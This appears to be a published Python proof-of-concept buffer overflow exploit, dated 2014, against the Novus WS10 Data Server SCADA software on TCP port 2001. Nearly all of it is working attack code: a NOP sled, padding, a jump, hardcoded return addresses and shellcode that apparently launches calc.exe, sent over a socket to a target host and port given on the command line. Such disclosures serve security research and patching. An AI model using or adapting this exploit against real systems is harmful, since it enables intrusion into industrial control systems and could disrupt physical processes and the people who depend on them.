|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50  |  ## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC ## Date: 09/23/2014 ## Author: Pedro Sánchez ## Version: 1.83 (English) ## Tested on: Windows 7 embedded.  ## Notified the vendor, vendor never responded. ## In the new version this PoC stops working ## Vendor: Novus  ## http://www.novus.com.br ## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation  import os import socket import sys ## The process listens on TCP port 2001 host = sys.argv[1] port = int(sys.argv[2]) print " PoC WS10 Data Server SCADA Exploit " print " Pedro Sanchez " shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90")  ## Exploit contructor  ws10 = ("\x90" * 1024 + "\x44" * 31788)   ws10 += ("\xeb\x14")   ws10 += ("\x44" * 6)   ws10 += ("\xad\xbb\xc3\x77")   ws10 += ("\xb4\x73\xed\x77")  ws10 += ("\x90" * 21)   ws10 += shellcode print "[+] Sending payload..." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port))  s.send(ws10) data = s.recv(1024) print "[+] Closing..." s.close() print "[+] Done!"  |